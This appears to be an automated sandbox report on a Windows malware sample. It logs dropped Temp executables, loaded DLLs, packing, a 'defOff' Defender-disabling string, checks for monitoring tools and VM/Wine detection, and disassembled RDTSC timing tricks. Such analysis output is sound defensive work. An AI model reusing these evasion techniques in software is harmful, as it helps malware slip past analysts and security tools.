Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Process created: C:\Users\user\AppData\Local\Temp\CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe "C:\Users\user\AppData\Local\Temp\CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Qmg24kMXxU.exe

Static file information: File size 1902592 > 1048576

Source: Qmg24kMXxU.exe

Static PE information: Raw size of iatfuzvm is bigger than: 0x100000 < 0x1a8400

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: JKGP0UT4QWTEFN0LA50.exe, 00000010.00000002.2784778976.0000000000D52000.00000040.00000001.01000000.00000008.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Unpacked PE file: 16.2.JKGP0UT4QWTEFN0LA50.exe.d50000.0.unpack :EW;.rsrc:W;.idata :W;hbdyruff:EW;jiwaszqf:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe	Unpacked PE file: 17.2.CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe.fc0000.0.unpack :EW;.rsrc:W;.idata :W;lalofjun:EW;ccythcdc:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;lalofjun:EW;ccythcdc:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: Qmg24kMXxU.exe	Static PE information: real checksum: 0x1d0a7d should be: 0x1db84b
Source: CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe.2.dr	Static PE information: real checksum: 0x2cbedf should be: 0x2d28eb
Source: JKGP0UT4QWTEFN0LA50.exe.2.dr	Static PE information: real checksum: 0x2b64bc should be: 0x2ae0ea

Source: Qmg24kMXxU.exe	Static PE information: section name:
Source: Qmg24kMXxU.exe	Static PE information: section name: .idata
Source: Qmg24kMXxU.exe	Static PE information: section name:
Source: Qmg24kMXxU.exe	Static PE information: section name: iatfuzvm
Source: Qmg24kMXxU.exe	Static PE information: section name: rnipyvgm
Source: Qmg24kMXxU.exe	Static PE information: section name: .taggant
Source: JKGP0UT4QWTEFN0LA50.exe.2.dr	Static PE information: section name:
Source: JKGP0UT4QWTEFN0LA50.exe.2.dr	Static PE information: section name: .idata
Source: JKGP0UT4QWTEFN0LA50.exe.2.dr	Static PE information: section name: hbdyruff
Source: JKGP0UT4QWTEFN0LA50.exe.2.dr	Static PE information: section name: jiwaszqf
Source: JKGP0UT4QWTEFN0LA50.exe.2.dr	Static PE information: section name: .taggant
Source: CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe.2.dr	Static PE information: section name:
Source: CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe.2.dr	Static PE information: section name: .idata
Source: CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe.2.dr	Static PE information: section name: lalofjun
Source: CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe.2.dr	Static PE information: section name: ccythcdc
Source: CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe.2.dr	Static PE information: section name: .taggant

Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Code function: 16_2_00EED01B push eax; mov dword ptr [esp], 7576BA33h	16_2_00EEF255
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Code function: 16_2_00D6111F push ebx; mov dword ptr [esp], edx	16_2_00D652CE
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Code function: 16_2_00D6111F push 499A3BDCh; mov dword ptr [esp], ecx	16_2_00D652D9
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Code function: 16_2_00EDF83E push ecx; mov dword ptr [esp], eax	16_2_00EDF88E
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Code function: 16_2_00EDF83E push 5AF6F0C8h; mov dword ptr [esp], ecx	16_2_00EDF8A8
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Code function: 16_2_00EDF83E push 395D1D74h; mov dword ptr [esp], ebx	16_2_00EDF8B3
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Code function: 16_2_00EDF83E push ebx; mov dword ptr [esp], ebp	16_2_00EDF92D
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Code function: 16_2_00EDF83E push ebx; mov dword ptr [esp], edi	16_2_00EDF953
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Code function: 16_2_00EDF996 push edx; mov dword ptr [esp], 37AB83FFh	16_2_00EDF9AC
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Code function: 16_2_00EDF996 push 41BE5BB7h; mov dword ptr [esp], esi	16_2_00EDFA80
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Code function: 16_2_00EF40ED push 1D6E3DD7h; mov dword ptr [esp], ebx	16_2_00EF4216
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Code function: 16_2_00D630DC push 4C4BCE30h; mov dword ptr [esp], eax	16_2_00D6521D
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Code function: 16_2_00D610D8 push 37C4E9A1h; mov dword ptr [esp], edi	16_2_00D610E0
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Code function: 16_2_00EF40C0 push 1D6E3DD7h; mov dword ptr [esp], ebx	16_2_00EF4216
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Code function: 16_2_00EE10DC push 22B01ACEh; mov dword ptr [esp], edx	16_2_00EE14CA
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Code function: 16_2_00D5C0E3 push 7AE2EB49h; mov dword ptr [esp], ebx	16_2_00D5C48D
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Code function: 16_2_00D5D0EF push 14A2F6D9h; mov dword ptr [esp], edi	16_2_00D5D463
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Code function: 16_2_00D5C0EB push ecx; mov dword ptr [esp], edx	16_2_00D5C0EC
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Code function: 16_2_00EF40AC push eax; ret	16_2_00EF40BB
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Code function: 16_2_00D62098 push eax; mov dword ptr [esp], ebx	16_2_00D6209A
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Code function: 16_2_00D63082 push eax; mov dword ptr [esp], 657D39ABh	16_2_00D63084
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Code function: 16_2_00D63082 push 3202062Bh; mov dword ptr [esp], ecx	16_2_00D63093
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Code function: 16_2_00D610AC push edi; mov dword ptr [esp], 4EDFC611h	16_2_00D610AD
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Code function: 16_2_00EEF094 push edx; mov dword ptr [esp], 6FE83C8Fh	16_2_00EEF0A4
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Code function: 16_2_00D640AB push ecx; mov dword ptr [esp], 50A9EE56h	16_2_00D65660
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Code function: 16_2_00EF507B push 18BA5018h; mov dword ptr [esp], ecx	16_2_00EF5088
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Code function: 16_2_00EF6073 push ecx; mov dword ptr [esp], ebp	16_2_00EF609B
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Code function: 16_2_00EF6073 push edx; mov dword ptr [esp], eax	16_2_00EF60BB
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Code function: 16_2_00EF6073 push ebx; mov dword ptr [esp], esi	16_2_00EF60E0
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Code function: 16_2_00EE404D push ecx; mov dword ptr [esp], esi	16_2_00EE4073
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Code function: 16_2_00EDD047 push ebx; mov dword ptr [esp], eax	16_2_00EDD364

Source: Qmg24kMXxU.exe	Static PE information: section name: entropy: 7.978340604782054
Source: Qmg24kMXxU.exe	Static PE information: section name: iatfuzvm entropy: 7.953895944690865

Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File created: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe			Jump to dropped file
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File created: C:\Users\user\AppData\Local\Temp\CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe			Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\Qmg24kMXxU.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 307DC0 second address: 307DCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push edx 0x00000009 pop edx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 307DCE second address: 307DD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 2FBF9D second address: 2FBFA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 2FBFA2 second address: 2FBFA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 2FBFA8 second address: 2FBFAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 2FBFAC second address: 2FBFB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 306D28 second address: 306D2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 306D2E second address: 306D38 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 306E7E second address: 306E9D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95D925B967h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 306E9D second address: 306EA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 30731A second address: 30731E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 30731E second address: 307332 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007F95D91784AEh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 307332 second address: 307337 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 30B3F7 second address: 30B453 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jp 00007F95D91784A6h 0x0000000d jmp 00007F95D91784B4h 0x00000012 popad 0x00000013 popad 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 pushad 0x00000019 jmp 00007F95D91784B2h 0x0000001e push edi 0x0000001f jmp 00007F95D91784B7h 0x00000024 pop edi 0x00000025 popad 0x00000026 mov eax, dword ptr [eax] 0x00000028 push eax 0x00000029 push edx 0x0000002a push ecx 0x0000002b pushad 0x0000002c popad 0x0000002d pop ecx 0x0000002e rdtsc
